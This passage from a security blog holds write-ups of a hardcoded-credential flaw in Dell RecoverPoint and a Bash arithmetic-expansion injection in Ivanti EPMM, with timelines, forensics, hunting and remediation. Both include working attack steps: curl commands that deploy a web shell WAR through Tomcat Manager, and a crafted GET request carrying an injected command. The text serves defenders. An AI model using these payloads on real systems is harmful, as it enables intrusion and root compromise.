Cisco Security Advisory: Cisco Catalyst SD-WAN Controller Authentication Bypass Vulnerability
Cisco Talos Blog: Active exploitation of Cisco Catalyst SD-WAN by UAT-8616
ACSC Threat Hunt Guide: Cisco SD-WAN Threat Hunt Guide (PDF)
Canadian Centre for Cyber Security: AL26-004
NCSC-UK Advisory: Exploitation of Cisco Catalyst SD-WANs
Cisco SD-WAN Hardening Guide: Cisco Catalyst SD-WAN Hardening Guide

Dell RecoverPoint for VMs (CVE-2026-22769)

Tue, 17 Feb 2026 00:00:00 +0000

Dell dropped a 10.0 CVSS advisory today, and if you have RecoverPoint for Virtual Machines anywhere in your environment, this one requires immediate attention. Not “schedule a change window” attention. Not “put it in the next sprint” attention. Right now attention.

CVE-2026-22769 is a hardcoded credential vulnerability in Dell RecoverPoint for Virtual Machines (RP4VM). The short version: a set of static admin credentials were baked directly into Apache Tomcat’s tomcat-users.xml config file, sitting readable on disk, unchanged across every deployment. Any unauthenticated attacker who can reach port 8443 (or wherever Tomcat is listening) and knows the credential string gets immediate access to the Tomcat Manager interface, from which they can deploy arbitrary WAR files and run commands as root on the appliance.

Ten out of ten. No authentication required. No user interaction. Scope changed. The CVSS vector says everything you need to know: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H. That’s a clean sweep.

And the kicker? Mandiant and the Google Threat Intelligence Group didn’t discover this through a code audit. They found it during incident response while a PRC-linked threat cluster called UNC6201 was actively using it in the wild. The credential was hardcoded. The attackers knew it. Your vendor didn’t tell you.

The Vulnerability

RecoverPoint for Virtual Machines is a Dell/EMC disaster recovery product that sits inside VMware environments and manages continuous data replication and point-in-time recovery for VMs. It ships as a virtual appliance, meaning it’s a pre-built Linux VM with all the required software already installed, deployed into your vSphere environment where it promptly gets assigned a static IP, a DNS record, firewall rules, and then largely forgotten about.

The appliance runs Apache Tomcat as its internal web server to handle the deployment and management of various RecoverPoint software components. Tomcat Manager is the standard Tomcat admin interface used to deploy, undeploy, and manage web applications packaged as WAR (Web Application Archive) files. Dell uses this internally for RecoverPoint’s own component deployment.

The problem is in /home/kos/tomcat9/tomcat-users.xml. This file defines the users and roles for Tomcat Manager authentication. In every version of RecoverPoint for Virtual Machines prior to 6.0.3.1 HF1, this file contains a hardcoded credential for the admin user with the manager-gui and manager-script roles. The credential does not change between deployments. It does not rotate. It is identical across every single RecoverPoint appliance ever deployed.

This is CWE-798 in its purest form. Someone wrote a static password into a config file during development, it shipped to production, and then it shipped to every customer who ever deployed the product.

The exploitation path is straightforward:

Authenticate to Tomcat Manager using the hardcoded credential
Upload a malicious WAR file via the /manager/text/deploy endpoint
The WAR deploys and its contents execute with the privileges of the Tomcat process
On RecoverPoint appliances, Tomcat runs as root

That’s it. No exploitation chain. No memory corruption. No race conditions. You log in with a password that was written into a config file on a build server years ago and you get root on an appliance that sits inside a trusted VMware environment with full access to the virtual infrastructure it manages.

Timeline and Abuse History

This one was a zero-day for a while. A long while.

Mid-2024: UNC6201 begins exploiting CVE-2026-22769 in the wild. At this point there is no CVE, no advisory, no patch. The credential has been hardcoded in the product for an unknown period prior to exploitation.
Mid-2024 to September 2025: UNC6201 deploys BRICKSTORM (a Go/Rust-written backdoor) on compromised RP4VM appliances via this vulnerability. Activity is observed across multiple victim organizations.
September 2025: UNC6201 begins replacing BRICKSTORM binaries with a new C# backdoor tracked as GRIMBOLT. Whether this is a planned capability upgrade or a direct response to Mandiant’s IR activities is unclear.
Late 2025/Early 2026: Mandiant and Google GTIG investigate multiple RP4VM appliances in victim environments with active C2. Analysis of Tomcat configuration files surfaces the hardcoded credential and the exploitation method.
February 17, 2026: Dell publishes DSA-2026-079. CVE-2026-22769 is assigned. Patch is available. Mandiant and GTIG publish their full technical write-up the same day.

The gap between first exploitation (mid-2024) and public disclosure (February 2026) is approximately 18 months. During that window, UNC6201 had essentially unlimited time to deploy malware, establish persistence, pivot through VMware infrastructure, and adapt their tooling without vendors or defenders knowing the initial entry point existed.

Impacted Versions and Patch Status

Affected Products:

RecoverPoint for Virtual Machines is the only affected product. RecoverPoint Classic (physical and virtual appliances) is explicitly noted as not affected by Dell’s advisory.

Every version of RecoverPoint for Virtual Machines prior to 6.0.3.1 HF1 is vulnerable. Dell specifically calls out the following:

Version	Status
5.3 SP2, 5.3 SP3, 5.3 SP4	Vulnerable (potentially earlier too)
5.3 SP4 P1	Vulnerable
6.0, 6.0 SP1, 6.0 SP1 P1, 6.0 SP1 P2	Vulnerable
6.0 SP2, 6.0 SP2 P1	Vulnerable
6.0 SP3, 6.0 SP3 P1	Vulnerable
6.0.3.1 HF1	Patched

Remediation options:

For versions 6.0 through 6.0 SP3 P1: upgrade directly to 6.0.3.1 HF1, or apply the Dell remediation script documented in KB article 000426742.

For version 5.3 SP4 P1: migrate to 6.0 SP3 first, then upgrade to 6.0.3.1 HF1. Or apply the remediation script.

For 5.3 SP4 and earlier: upgrade to 5.3 SP4 P1 first, then follow the above path. Dell acknowledges that earlier 5.3 versions are also impacted.

The remediation script path is the faster option if you cannot afford the downtime of a full version upgrade right now. But the upgrade is the right long-term answer.

Proof of Concept Details

No standalone public PoC has been released as of the time of this writing. The Mandiant/GTIG disclosure covers the exploitation method in sufficient detail that this will likely change quickly, but right now you’re not looking at script-kiddie-level mass exploitation. You’re looking at nation-state level targeted exploitation that has been happening for 18 months already.

The conceptual PoC is embarrassingly simple. Given the hardcoded credential (not published here, but present in the tomcat-users.xml file on any unpatched appliance), exploitation looks like this:

Step 1: Verify Tomcat Manager is accessible

curl -v https://<target>:8443/manager/html -u admin:<hardcoded_password>

A 200 response with the Tomcat Manager UI confirms the credential works.

Step 2: Deploy a malicious WAR via the text interface

curl -v -u admin:<hardcoded_password> \
  -T /path/to/shell.war \
  "https://<target>:8443/manager/text/deploy?path=/shell&update=true"

Step 3: Access the deployed web shell

curl "https://<target>:8443/shell/cmd.jsp?c=id"

Response: uid=0(root) gid=0(root) groups=0(root)

In the real-world UNC6201 campaigns, the deployed WAR contained a SLAYSTYLE web shell, which is a JSP-based shell that accepts base64-encoded commands, executes them via Runtime.getRuntime().exec(), and returns the output. The specifics of SLAYSTYLE’s command encoding are documented in the Mandiant report IOC section.

Exploitation Analysis

Let’s walk through what actually happens technically when this vulnerability is exploited, and why it’s so clean.

Apache Tomcat Manager and WAR Deployment

Apache Tomcat Manager is a standard web application that ships with Tomcat and provides a web-based interface for deploying and managing web applications. It’s protected by role-based authentication defined in tomcat-users.xml. The relevant roles for exploitation are manager-gui (web UI access) and manager-script (text API access, used by build automation).

The /manager/text/deploy endpoint accepts an HTTP PUT request with a WAR file as the request body, plus URL parameters that define the deployment context path and whether to overwrite an existing deployment. This endpoint is designed for CI/CD pipeline automation. In RecoverPoint’s case, it’s used for Dell’s own component deployment during product updates. There is no additional authorization layer beyond the Tomcat Manager credentials.

The Hardcoded Credential Location

Mandiant’s analysis pinpointed the credential in /home/kos/tomcat9/tomcat-users.xml. The kos directory is the home directory for the RecoverPoint operating environment. A tomcat-users.xml file with hardcoded credentials in this location would look something like:

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
  <role rolename="manager-gui"/>
  <role rolename="manager-script"/>
  <role rolename="admin-gui"/>
  <user username="admin" password="<HARDCODED_VALUE>"
        roles="manager-gui,manager-script,admin-gui"/>
</tomcat-users>

Because RecoverPoint ships as a pre-built appliance OVA/VMDK, this file is identical on every single deployed instance. Every customer who ever deployed RecoverPoint for Virtual Machines has the same password in that file unless they applied the patch or remediation script.

WAR File Deployment as Root Code Execution

WAR files are Java web application archives. When deployed to Tomcat, they are extracted and the web application they contain becomes accessible at the specified context path. Any JSP files within the WAR are compiled on first access and executed by the Tomcat JVM process.

The critical piece here is process privilege. The Tomcat server process on the RecoverPoint appliance runs as root. This is not unusual for appliance-style deployments where the vendor controls the entire OS stack, but it means that any code executed via the Tomcat process, including code in a malicious deployed WAR, runs with full root privileges on the Linux appliance.

This bypasses any sandboxing or privilege separation that might otherwise limit the blast radius of a compromised web application component. There is no seccomp profile to escape, no container boundary to cross. You authenticate to Tomcat Manager, you upload a WAR, you have root on the box.

SLAYSTYLE Web Shell

The web shell UNC6201 deployed via this vulnerability is SLAYSTYLE, a JSP-based backdoor. Based on the YARA rule published by GTIG, SLAYSTYLE’s key characteristics include:

JSP page import of java.io
Use of Base64.getDecoder().decode() to decode command input, specifically using c.substring(1) to strip a leading byte from the encoded command
Command execution via Runtime.getRuntime().exec() with /bin/sh -c
Output capture via ByteArrayOutputStream

The base64 encoding of commands provides minimal obfuscation but makes the web shell less likely to trigger simple string-matching signatures on command parameters. The shell takes POST requests with an encoded command parameter, executes the decoded string via shell, and returns output. Because the Tomcat process runs as root, every command executes with root privileges.

BRICKSTORM and GRIMBOLT Persistence

Once SLAYSTYLE provides interactive access, UNC6201’s next step in observed campaigns was deploying persistent backdoors.

BRICKSTORM is a multi-version backdoor (written in Go in early versions, later ported to Rust) that provides a reverse-shell capability and communicates with attacker-controlled C2 infrastructure. In the RP4VM context, BRICKSTORM was placed as a binary on disk and persistence was established by modifying /home/kos/kbox/src/installation/distribution/convert_hosts.sh, a legitimate shell script that is executed at boot time via rc.local. Adding the backdoor binary path to this script ensures it starts automatically on every reboot without adding new cron jobs, new systemd services, or other persistence mechanisms that might attract attention in a security audit.

In September 2025, UNC6201 began replacing BRICKSTORM with GRIMBOLT on already-compromised appliances. GRIMBOLT is written in C# and compiled using .NET Native AOT compilation. Native AOT, introduced to .NET in 2022, compiles C# code directly to native machine code at build time rather than producing intermediate language (CIL) bytecode that is JIT-compiled at runtime. The consequences for defenders are significant: there is no CIL metadata in the binary, which means standard .NET reverse engineering tools that parse IL metadata are largely ineffective. The binary also bundles all required libraries, so there are no external DLL dependencies to trace. On top of Native AOT, the binary is packed with UPX, adding another layer of static analysis friction.

GRIMBOLT uses the same WebSocket-based C2 protocol as BRICKSTORM, communicating with wss://149.248.11.71/rest/apisession, and provides a remote shell capability. The persistence mechanism is identical: the convert_hosts.sh modification that was used for BRICKSTORM is updated to point to the GRIMBOLT binary instead.

Ghost NICs and VMware Pivoting

The post-exploitation tradecraft UNC6201 employs once inside the RP4VM appliance is where things get genuinely novel. The RecoverPoint appliance has privileged access to the VMware vCenter environment it manages by design. That access becomes a pivot point.

The most interesting newly observed technique is the creation of “Ghost NICs.” UNC6201 creates new temporary virtual network interface cards on existing VMs running on ESXi hosts. These NICs are added dynamically via the VMware APIs that the RecoverPoint appliance has access to, connected to internal network segments, and used to establish connections to additional targets within the environment, including internal services and SaaS environments. After the pivoting activity is complete, the NICs are removed, leaving minimal trace in VM configuration history.

This is a technique Mandiant states they have not observed in prior investigations. It leverages the trusted relationship between the backup/DR appliance and the hypervisor, an access pattern that defenders rarely monitor closely, to enable stealthy lateral movement without touching the guest OS network stack in a persistent way.

The second novel technique is Single Packet Authorization (SPA) implemented via iptables rules on compromised vCenter appliances. The observed iptables configuration monitors incoming traffic on port 443 for a specific hex string in the packet payload. When the magic string is detected, the source IP is dynamically added to an allowed list. Subsequent connections from that IP to port 10443 are accepted, and for a 300-second window, traffic to port 443 is automatically redirected to 10443. This means the backdoor listener on port 10443 is effectively invisible unless you know the knock sequence. Standard port scans won’t see it. Firewall rule reviews won’t flag it. The listener only becomes active in response to a correctly crafted packet.

Forensic Evidence Collection

If you’re dealing with a suspected or confirmed compromise of a RecoverPoint for Virtual Machines appliance, here’s what to collect and where to find it.

Disk Image

The appliance runs as a VM, which means you can snapshot it at the hypervisor layer without touching the guest OS.

VMware ESXi:

# Suspend the VM first to get a consistent image
vim-cmd vmsvc/power.suspend <vmid>

# Copy the VMDK
vmkfstools -i /path/to/rp4vm.vmdk /forensics/rp4vm-forensic.vmdk

# Or use the vCenter export function for a clean OVA snapshot

Via vSphere API: Use the CreateSnapshot task on the VM object to create a quiesced snapshot, then export the VMDK from the snapshot delta file for imaging.

If you cannot take the VM offline, use a live backup instead:

dd if=/dev/<source_disk> bs=4M | ssh forensics@<collection_host> "dd of=/forensics/rp4vm.img bs=4M"

Memory

Memory acquisition of the RP4VM appliance can be done at the hypervisor level. The VM’s memory is the most volatile artifact and should be collected before anything else if active C2 activity is suspected.

VMware snapshot (includes memory):

vim-cmd vmsvc/snapshot.create <vmid> "forensic-snap" "Memory snapshot for IR" 1 0
# The .vmss or .vmsn file in the VM directory contains the memory state

AVML from within the guest (if you have SSH access):

./avml --compress /tmp/memory.lime
scp /tmp/memory.lime forensics@<collection_host>:/forensics/

KVM/QEMU (if running on KVM rather than VMware):

virsh dump <domain_name> /forensics/rp4vm-memory.dump --memory-only --live

Log Data

Tomcat Manager audit log (highest priority):

/home/kos/auditlog/fapi_cl_audit_log.log

This is where you will find any requests to /manager. Any PUT /manager/text/deploy requests in this log should be treated as a primary IOC. Pay close attention to the deployment path parameter, which reveals where a potentially malicious WAR was dropped.

Tomcat application logs:

/var/log/tomcat9/catalina.out
/var/log/tomcat9/localhost.<date>.log

Look for org.apache.catalina.startup.HostConfig.deployWAR events. The localhost log contains WAR deployment events and any exceptions generated by malicious web applications post-deployment.

Deployed WAR files:

/var/lib/tomcat9/webapps/

This is where deployed WAR files land. Any directory here that you did not put there is suspicious. SLAYSTYLE and similar web shells will be present as a directory containing a .jsp file (and a .java source file if it compiled successfully).

Compiled WAR artifacts:

/var/cache/tomcat9/Catalina/

Even if the attacker deleted the WAR file and the deployed directory, compiled artifacts may persist here.

Persistence mechanism:

/home/kos/kbox/src/installation/distribution/convert_hosts.sh

Check this file for any modifications that reference external binary paths. Legitimate RecoverPoint deployments do not add extra commands to this script. Any addition here is a direct indicator of BRICKSTORM or GRIMBOLT persistence.

rc.local:

/etc/rc.local

Verify that rc.local still calls convert_hosts.sh and nothing else unexpected.

Deployed backdoor binaries: Search common paths used by the actor:

find /tmp /var/tmp /home /opt -type f -name "*.elf" -o -name "support" -o -name "splisten" 2>/dev/null

System authentication logs:

/var/log/auth.log
/var/log/secure

Look for SSH logins, su activity, and any failed/successful authentication events correlated with the compromise window.

Web server request logs:

If the appliance has access logging enabled on the Tomcat level, HTTP request logs will be in /var/log/tomcat9/. Access logs will show GET/POST requests to deployed web shells after WAR deployment.

External Log Sources

If you’re lucky enough to have the appliance shipping logs to a SIEM:

Check for HTTP POST requests to https://<appliance_ip>:8443/manager/text/deploy in your proxy or network logs. The external visibility into Tomcat Manager requests is your best out-of-band validation source. Also check for network connections from the appliance IP to the known GRIMBOLT C2 149.248.11.71 on port 443 via WebSocket.

Considerations and Limitations

Here’s the part where we talk about what you’re not going to find and why this investigation is harder than it looks.

The credential exposure window is undetectable in retrospect. There’s no logging of failed authentication attempts to Tomcat Manager by default. If an attacker scanned your environment to verify the credential was valid and then came back later to exploit it, you will have no record of the reconnaissance phase. The first forensic artifact is the successful WAR deployment, by which point the access is already established.

WAR deployment logs rotate. The Tomcat audit log at /home/kos/auditlog/fapi_cl_audit_log.log is not guaranteed to retain entries from mid-2024. If this compromise started a year or more ago as Mandiant’s timeline suggests, early exploitation evidence is likely gone from the appliance itself. Your SIEM is the only hope for the initial access timeline, and only if you were shipping logs from the appliance, which most organizations are not.

The attacker can modify the audit log. They have root. They can edit, truncate, or delete any log file on the appliance. In cases where an attacker was active for months before detection, assume the log files have been tampered with. Hash verification against known-good states is not possible without a pre-compromise baseline, which nobody has.

GRIMBOLT’s Native AOT compilation defeats standard static analysis. Without CIL metadata, tools like dnSpy, ILSpy, and dotPeek provide minimal insight. FLARE’s analysis relied on dynamic analysis and pattern matching via YARA against native binary artifacts. If you find the binary but can’t analyze it in your environment, submit it to a sandbox that supports native Linux ELF analysis.

Ghost NICs are ephemeral. The temporary virtual network interfaces UNC6201 creates on ESXi VMs are added and removed dynamically. vCenter event logs (Tasks and Events in the vSphere client) should show ReconfigVM_Task events for NIC additions and removals, but the retention period depends on your vCenter configuration. Default retention is 30 days. For a compromise that started in mid-2024, that evidence is long gone.

The iptables SPA configuration is runtime-only. The iptables rules observed on compromised vCenter appliances are loaded into the running kernel’s firewall state. They are not written to persistent iptables config files. A reboot of the vCenter appliance would clear them. This means if your first response action was to restart a suspicious-looking vCenter VM, you may have already eliminated this forensic artifact.

BRICKSTORM-to-GRIMBOLT replacement destroys prior artifact. In cases where UNC6201 replaced BRICKSTORM with GRIMBOLT in September 2025, the BRICKSTORM binary was removed. The GRIMBOLT binary is the only malware artifact remaining. The convert_hosts.sh modification is the historical forensic tie that links the current GRIMBOLT deployment to prior BRICKSTORM activity in terms of persistence mechanism, but the malware itself is only the latest iteration.

Fewer than a dozen known victims does not mean fewer than a dozen actual victims. Mandiant knows of less than twelve organizations because those are the ones they responded to or were told about. The full scope of exploitation is unknown. Network appliances without EDR, shipped as pre-built VMs, are exactly the kind of target that gets compromised and stays compromised for years without anyone noticing.

Detection and Hunting

Network-Level Detection

The primary network-level detection opportunity is HTTP traffic to Tomcat Manager from unexpected sources.

Tomcat Manager access from non-management IPs:

Any POST request to https://<rp4vm_ip>:8443/manager/text/deploy from a source IP that is not a known Dell RecoverPoint management host should be treated as a critical alert. This endpoint should never be accessed directly in normal operations outside of vendor-initiated updates.

Check out this Sigma rule: https://github.com/danielgottt/malware-detection-analytics/blob/main/sigma/CVE-2026-22769_1.yml

GRIMBOLT C2 Beacon:

The known C2 endpoint for GRIMBOLT is wss://149.248.11.71/rest/apisession. Any outbound WebSocket connection from a RecoverPoint appliance IP to this host is a confirmed IOC.

WAR file written to Tomcat webapps directory:

Check out this Sigma rule: https://github.com/danielgottt/malware-detection-analytics/blob/main/sigma/CVE-2026-22769_2.yml

VMware-Level Hunting

For Ghost NIC detection, hunt for ReconfigVM_Task events in vCenter event logs where network adapter additions were not initiated by your change management system. Specifically:

Filter ReconfigVM_Task events from the vCenter Tasks and Events log
Look for events where the user is the RecoverPoint service account rather than a human admin
Correlate event timestamps with any other suspicious activity on the RecoverPoint appliance

Also hunt for outbound iptables rules being written on vCenter appliances. If you collect ESXi/vCenter shell history, look for the specific iptables command patterns Mandiant documented, particularly any rule that references --hex-string with a port redirect to 10443.

Remediation and Workarounds

Patch (Preferred)

Upgrade to RecoverPoint for Virtual Machines 6.0.3.1 HF1. Full stop. This is the fix. Everything below is a temporary measure until you get there.

The upgrade path depends on your current version:

6.0 through 6.0 SP3 P1: Upgrade directly to 6.0.3.1 HF1
5.3 SP4 P1: Migrate to 6.0 SP3 first, then upgrade to 6.0.3.1 HF1
5.3 SP4 and earlier: Upgrade to 5.3 SP4 P1, then follow the 5.3 SP4 P1 path above

Dell Remediation Script (Faster Alternative)

Dell published a standalone remediation script in KB article 000426742 that addresses the hardcoded credential without requiring a full version upgrade. This is the right choice if you need to close the vulnerability immediately and cannot afford upgrade downtime right now. Apply it, then schedule the upgrade.

Network Segmentation (Mitigation, Not Remediation)

Dell’s advisory notes that RecoverPoint for Virtual Machines is not intended for deployment on public or untrusted networks. If the Tomcat Manager port (typically 8443) is exposed outside of your management network, that exposure is your most urgent problem, more urgent even than the patch.

Firewall rules should ensure that port 8443 on RecoverPoint appliances is only accessible from:

Specific Dell support IPs during authorized support sessions
Your vCenter management VLAN
Nothing else

This does not fix the vulnerability. An attacker who is already inside your network can still exploit it. But it eliminates the remote unauthenticated internet-accessible attack surface.

Hunting for Prior Compromise Before Patching

Before you patch, hunt. Apply the remediation script on a schedule, but in parallel, review the forensic artifacts described above. If UNC6201 was already in your environment, patching the entry point does not remove the backdoor. GRIMBOLT and BRICKSTORM persist through reboots via the convert_hosts.sh modification. You can patch the CVE, reboot the appliance, and wake up with a fully operational backdoor that survived the reboot.

Check convert_hosts.sh first. If it has been modified, you have a persistence issue that is separate from the vulnerability remediation.

Closing Assessment

CVE-2026-22769 is the kind of vulnerability that makes backup infrastructure a liability. The irony is not subtle: the system responsible for recovering your virtual machines from disaster is itself the compromised appliance. The attacker does not need to pop a domain controller, brute force a VPN, or craft an exploit. They log in with a password that was written into a config file and has been sitting there unchanged across every single deployment of the product.

This is not a sophisticated vulnerability. CWE-798 is about as fundamental as it gets in the world of credential security. What makes this notable is the context: a CVSS 10.0 sitting inside a trusted VMware environment, exploited by a PRC-nexus threat cluster for eighteen months before anyone published a CVE, and used as a launchpad for novel post-exploitation techniques including Ghost NICs that Mandiant says they have not seen before.

The UNC6201 playbook here is worth understanding beyond just this CVE. They are specifically targeting appliance-class systems, edge devices, VPN concentrators, backup solutions, DR platforms, anything that lives in a trusted network position, runs a non-standard OS stack, and has no EDR agent on it. These systems are the blind spot in most enterprise security programs. You can have excellent EDR coverage across thousands of Windows endpoints and zero visibility into the Linux VM that manages your entire DR environment.

The threat actor correlation is also worth noting. UNC6201 shows overlaps with UNC5221, which the broader industry tracks as Silk Typhoon. This is not a new actor. Silk Typhoon has been targeting edge infrastructure for years. The baton was effectively passed from Brickstorm to Grimbolt in September 2025, which Mandiant suggests may have been a direct response to IR activity. These actors adapt. They monitor disclosure efforts. They update their tooling in response to detection.

If you run RecoverPoint for Virtual Machines: patch today, apply the remediation script if you cannot patch immediately, audit convert_hosts.sh for modifications, check your SIEM for any connections to 149.248.11.71, and hunt for WAR file deployments in your Tomcat logs going back as far as your retention allows.

And if you were previously targeted by Brickstorm activity in your environment? Per Mandiant’s guidance, go looking for Grimbolt specifically. The switch happened in September 2025. If the attacker was in your environment before that date, there may be a newer backdoor on your RP4VM appliances right now that did not exist the last time you looked.

References

CVE-2026-1281: The Art of Arithmetic Expansion

Sun, 15 Feb 2026 00:00:00 +0000

If January is now officially “Ivanti vulnerability month,” CVE-2026-1281 is this year’s opening act, and it’s exactly as bad as you’d expect. Disclosed on January 29, 2026, alongside its sibling CVE-2026-1340, this pre-authentication remote code execution vulnerability in Ivanti Endpoint Manager Mobile (EPMM) was already being actively exploited as a zero-day before anyone outside Ivanti knew it existed. CISA wasted no time adding it to the KEV catalog with a three-day remediation deadline for federal agencies. That’s the government equivalent of yelling “drop everything and fix this immediately.”

The technical sophistication here is genuinely impressive in the worst possible way. Whoever discovered the exploitation technique clearly has an intimate understanding of Bash arithmetic expansion behavior that borders on academic. The watchTowr team put it best: “someone knows Bash far too well, and we love it.” We don’t love the exploitation part, but you have to respect the craft.

Let’s walk through what actually happens when theory meets a production EPMM instance at 2 AM.

CVE Details

CVE-2026-1281: Code injection vulnerability in Ivanti Endpoint Manager Mobile (EPMM) affecting the In-House Application Distribution feature. CVSS 9.8 (Critical).

CVE-2026-1340: Parallel code injection vulnerability affecting the Android File Transfer Configuration feature. Also CVSS 9.8 (Critical).

Both allow unauthenticated remote code execution over the network. Attack complexity is low. No privileges required. No user interaction needed. In other words, if your EPMM instance is sitting on the internet, and you haven’t patched, someone is probably already inside.

The vulnerability classification is CWE-94 (Improper Control of Generation of Code). That’s security researcher speak for “user input gets evaluated as code in ways the developers never intended.”

Timeline: Zero-Day to Mass Exploitation

Before January 29, 2026: Unknown threat actors are exploiting CVE-2026-1281 and CVE-2026-1340 in the wild as zero-days. Ivanti later confirms “a very limited number of customers” were compromised. That phrase “very limited” is doing a lot of heavy lifting. The Dutch Data Protection Authority and Council for the Judiciary, the European Commission, and Finland’s Valtori were among confirmed victims.
January 29, 2026: Ivanti releases security advisory and temporary RPM patches. Same day, CISA adds CVE-2026-1281 to the KEV catalog with a February 1 deadline. Three days to patch or disconnect from the network. That’s not a normal patch cycle; that’s a fire drill.
January 30, 2026: watchTowr Labs publishes detailed technical analysis and proof-of-concept code. At this point, the cat is fully out of the bag. Public PoC means automated scanning and mass exploitation is imminent.
February 1, 2026: GreyNoise sensors detect first post-disclosure exploitation attempts. Shadowserver Foundation reports a spike in exploitation traffic from at least 13 source IPs within 24 hours of public disclosure. Approximately 1,600 EPMM instances are exposed globally.
February 8-9, 2026: Exploitation activity escalates sharply. GreyNoise records 269 sessions in a single day, roughly 13 times the daily average. Defused Cyber identifies a campaign deploying dormant in-memory Java class loaders to compromised instances at /mifs/403.jsp. This is initial access broker tradecraft: compromise systems, install sleeper webshells, sell access later.
February 15, 2026: As of this writing, exploitation is ongoing and accelerating. The sleeper shells are designed to wait. Compromised systems may appear fine on the surface while threat actors catalog their inventory for future operations.

Impacted Versions and Patch Status

All on-premises Ivanti EPMM 12.x versions are vulnerable:

12.0.0.0 through 12.7.0.0 (all point releases)

Not affected:

Ivanti Neurons for Mobile Device Management (cloud-hosted)
Ivanti Endpoint Manager (EPM)
Ivanti Sentry
Other Ivanti products

Patch situation: Ivanti released temporary RPM patches that must be manually applied per affected version. These patches do not survive version upgrades and must be reapplied if you perform any maintenance or updates before the permanent fix. The RPM patches are version-specific:

ivanti-security-update-1761642-1.0.0L-5.noarch.rpm (for certain 12.x branches)
ivanti-security-update-1761642-1.0.0S-5.noarch.rpm (for other 12.x branches)

The permanent fix is scheduled for EPMM version 12.8.0.0, expected Q1 2026. Until then, you’re managing temporary patches with commitment issues.

Proof of Concept

The exploitation chain is elegant and horrifying. Here’s the path from HTTP request to remote code execution:

Attacker sends a crafted GET request to the vulnerable endpoint:

GET /mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue  ,et=1337133713,h=gPath[`sleep 5`]/e2327851-1e09-4463-9b5a-b524bc71fc07.ipa

Apache’s RewriteRule captures the request and maps it to the Bash script /mi/bin/map-appstore-url with attacker-controlled parameters.
The Bash script parses the key=value pairs from the URL. It extracts st=theValue and stores it in the gStartTime variable. Note the two trailing spaces in theValue to satisfy a length validation check.
Later in the script, it extracts h=gPath[sleep 5] and stores it in the theValue variable.
The script then performs a timestamp comparison: if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]] ; then
Here’s where the magic happens: gStartTime contains theValue, which now references the last extracted value from the case statement: gPath[`sleep 5`]
During arithmetic expansion in the comparison, Bash treats gPath as an array. The array index contains command substitution (sleep 5). The shell executes that command while resolving the index.
The sleep 5 command executes with the privileges of the web server.

The public PoC demonstrates arbitrary command execution by replacing sleep 5 with id > /mi/poc. Attackers in the wild have used this to deploy webshells, exfiltrate data, and establish persistence.

Technical Analysis: The Exploitation Mechanism

The vulnerability exists in how EPMM handles application distribution requests. The In-House Application Distribution feature uses a Bash script to verify requests and retrieve mobile applications from the approved app store. It requires several parameters:

kid: Index of a salt string from /mi/files/appstore-salt.txt
st: Start time for the download operation
et: End time for the download operation
h: SHA256 hash to verify the caller knows the secret salt
Application GUID to retrieve

Under normal circumstances, this is a straightforward file retrieval with integrity checking. The script validates timestamps, checks the hash, and returns the requested file if everything checks out.

The problem is in how Bash handles indirect variable references during arithmetic expansion. When you write ${gStartTime} in an arithmetic context, and gStartTime contains theValue, Bash dereferences it. If theValue contains an array reference with command substitution like gPath[`command`], the shell executes that command to resolve the array index.

This is not a typical command injection where you’re breaking out of quoted strings or chaining commands with semicolons. This is exploiting the evaluation order of nested variable expansions in arithmetic contexts. It’s the kind of thing you discover by accident after spending hours staring at Bash scripts, or by deeply understanding POSIX shell evaluation semantics.

The CVE-2026-1340 variant works identically but targets the Android File Transfer Configuration feature through /mi/bin/map-aft-store-url. The exploitation mechanics are the same, just a different endpoint: /mifs/c/aftstore/fob/ instead of /mifs/c/appstore/fob/.

Ivanti’s fix replaces both Bash scripts with Java classes (AppStoreUrlMapper.class and AFTUrlMapper.class) that handle URL rewriting without shell interpretation. The entire vulnerability class disappears when you stop passing user input through Bash arithmetic evaluation.

Forensic Evidence Collection

If you’re running EPMM, you need to assume compromise and start collecting evidence immediately. Here’s what you need to preserve:

Apache Access Logs:

/var/log/httpd/https-access_log
This is your primary evidence source for exploitation attempts
Look for requests to /mifs/c/appstore/fob/ and /mifs/c/aftstore/fob/
Critical: Export these logs to an external SIEM or collector before doing anything else. Attackers with code execution can and will modify on-box logs.

Apache Error Logs:

/var/log/httpd/error_log
May contain evidence of failed exploitation attempts or command execution errors

System Logs:

/var/log/messages
/var/log/secure
Look for unusual process execution, authentication events, privilege escalation

Application Logs:

/mi/logs/ directory
EPMM application logs may contain evidence of database access or configuration changes
Ivanti’s detection RPM generates an ivanti_checks log file in the /log directory

Process Memory:

Capture full memory dumps if possible before restarting services
In-memory webshells do not survive process restarts, so memory forensics is your only chance to identify them
The /mifs/403.jsp sleeper shells are loaded as Java class loaders in memory

File System:

Full disk image if you suspect compromise
Pay special attention to:
- /mi/files/ (application files)
- /mi/bin/ (scripts and executables)
- Web root directories
- /tmp and /var/tmp (common staging areas)
- Look for files modified around the time of suspicious requests

Database:

EPMM database backup
Contains PII for managed mobile devices: names, email addresses, phone numbers, GPS information, device identifiers
Attackers have been observed extracting this data

Network Traffic:

Packet captures from the time period before patching
DNS query logs (attackers have been observed using DNS for C2 communications)
Outbound connections from the EPMM server
Particularly suspicious: DNS queries to unusual domains, connections to bulletproof hosting infrastructure

Configuration Files:

Apache configuration files in /mi/config-system/xsl/
EPMM configuration files
Compare against known-good backups to identify unauthorized modifications

Considerations and Limitations

Let’s talk about what you’re not going to find and why that doesn’t mean you’re safe.

The 404 False Negative: Ivanti’s detection regex looks for 404 responses to vulnerable endpoints. The assumption is that successful exploitation returns a 404 because the requested application file doesn’t actually exist; it’s just a vehicle for command execution. However, this is not foolproof. Attackers can craft requests that return other status codes or legitimate responses while still achieving code execution. Don’t rely solely on 404 detection.

Log Manipulation: Once an attacker has code execution, they can modify logs. If you’re only checking logs on the EPMM server itself, you’re potentially reading fiction. This is why off-box log forwarding to a SIEM or centralized log collector is critical. If you don’t have that, you need to treat all on-box logs as potentially compromised.

